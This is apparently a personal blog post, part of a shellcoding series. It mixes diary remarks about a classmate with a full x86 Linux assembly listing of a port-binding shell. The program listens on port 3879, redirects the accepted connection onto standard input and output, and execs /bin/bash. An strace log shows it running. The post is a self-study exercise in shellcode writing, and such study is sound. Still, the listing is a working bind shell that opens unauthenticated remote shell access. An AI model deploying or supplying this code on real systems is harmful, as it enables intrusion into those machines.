portbinding shellcode
the second of a many part series.
first, some unrelated stuff i want to share. we talked about marriage and mate choosing in religion class today. i can’t stop looking at iris. she’s so sexy! and her black bag makes her even more sexy when she walks! we had a (sort of) activity about our preferences when choosing a mate and i can’t fucking believe i’m the only fucking one among the guys who chose number 9 - “i want a girl i can look up to very much“.
we were asked to choose 6 among ten choices and these were my answers… i want a girl who:
1) loves me.
2) who shows me a lot of affection.
3) who appreciates what i want to achieve.
4) who understands my moods.
5) who stimulates my ambition.
6) who i can look up to very much.
in other words, i want to marry someone _exactly_ like steph. no other girl comes close. i wonder what iris answered. oh well, i suck at girl-friend-ships so i’m moving on.
our database design teacher skipped class so i went home an hour earlier than my usual tuesday time. practically toggled like a bitch between aterms today. lots of manpages read. including some sources. because i needed to construct a socket address template, and lookup defines and constants.
anyway, here comes the normal assembly listing version of the former portbinding c program. all because i just want to familiarize myself with the sys_socketcall. very crude though but it seems to work. i could never finish this program without strace.
; /usr/include/asm/unistd.h
%define SYS_SOCKETCALL 0x66
%define SYS_DUP2 0x3f
%define SYS_EXECVE 0x0b
; /usr/include/netinet/in.h
%define INADDR_ANY 0x00000000
struc sockaddr_in
sin_family: resw 1 ; protocol family
sin_port: resw 1 ; port
sin_addr: resd 1 ; struct sin_addr.s_addr
sin_zero: resd 2 ; padding
endstruc
; /usr/include/bits/socket.h
%define PF_INET 0x2
%define SOCK_STREAM 0x1
%define AF_INET PF_INET
; /usr/include/linux/net.h
%define SYS_SOCKET 0x1
%define SYS_BIND 0x2
%define SYS_LISTEN 0x4
%define SYS_ACCEPT 0x5
; custom
%define PORT 9999 ; htons(3879)
global _start
section .text
_start: ; stuct sockaddr_in shelladdr
.addr_decls
mov word [shelladdr+sin_family], AF_INET
mov word [shelladdr+sin_port], PORT
mov dword [shelladdr+sin_addr], INADDR_ANY
.sock_blk1 ; socket()
sub dword esp, 12
mov dword [esp], PF_INET
mov dword [esp+4], SOCK_STREAM
mov dword [esp+8], 0
mov dword ecx, esp
mov dword ebx, SYS_SOCKET
mov dword eax, SYS_SOCKETCALL
int byte 0x80
.sock_blk2 ; bind()
mov dword edx, eax ; save return value
mov dword [bindargs], eax ; int sockfd
lea dword ebx, [shelladdr]
mov dword [bindargs+4], ebx ; const struct sockaddr *myaddr
mov dword [bindargs+8], (sockaddr_in_size) ; socklen_t addrlen
mov dword ecx, bindargs
mov dword ebx, SYS_BIND
mov dword eax, SYS_SOCKETCALL
int byte 0x80
.sock_blk3 ; listen()
mov dword [listenargs], edx ; int s
mov dword [listenargs+4], 1 ; int backlog
mov dword ecx, listenargs
mov dword ebx, SYS_LISTEN
mov dword eax, SYS_SOCKETCALL
int byte 0x80
.sock_blk4 ; accept()
mov [acceptargs], edx
mov dword ecx, acceptargs
mov dword ebx, SYS_ACCEPT
mov dword eax, SYS_SOCKETCALL
int byte 0x80
mov ebx, eax ; save shellfd
mov ecx, 2 ; counter
.prepayload ; dup2()
mov dword eax, SYS_DUP2
int byte 0x80
loop .prepayload
xor dword ecx, ecx ; stderr
mov eax, SYS_DUP2
int byte 0x80
.payload ; execve()
mov byte [path+9], 0x0 ; segregation
lea dword ebx, [path+10]
mov dword [path+10], ebx
xor edx, edx
mov dword [path+14], edx
mov dword eax, SYS_EXECVE
mov dword ebx, path
lea dword ecx, [path+10]
xor dword edx, edx
int byte 0x80
.quit
xor dword eax, eax
inc dword eax
xor dword ebx, ebx
int byte 0x80
section .bss
shelladdr: resb sockaddr_in_size
bindargs: resd 3
listenargs: resd 2
acceptargs: resd 3
section .data
path: db '/bin/bash argvNULL'
long isn’t it? the size comparison between the c and asm version is quite dramatic.
steph@heaven ~/git/null/asm/shellcoding/portbind $ wc -c portbind_c portbind_asm 8797 portbind_c 744 portbind_asmhere’s a relevant part of my strace log of the portbinding assembly program for keeps. note to self: you’ll find this useful someday.
execve(\"./portbind_asm\", [\"./portbind_asm\"], [/* 43 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(3879), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, 0, NULL) = 4
dup2(4, 2) = 2
dup2(4, 1) = 1
dup2(4, 0) = 0
execve("/bin/bash", ["\252\221\4\10"], [/* 0 vars */]) = 0
--snipped--
now i just need to figure out how wide the stack needs to be for it to be able to hold all my structures and memory pointers.
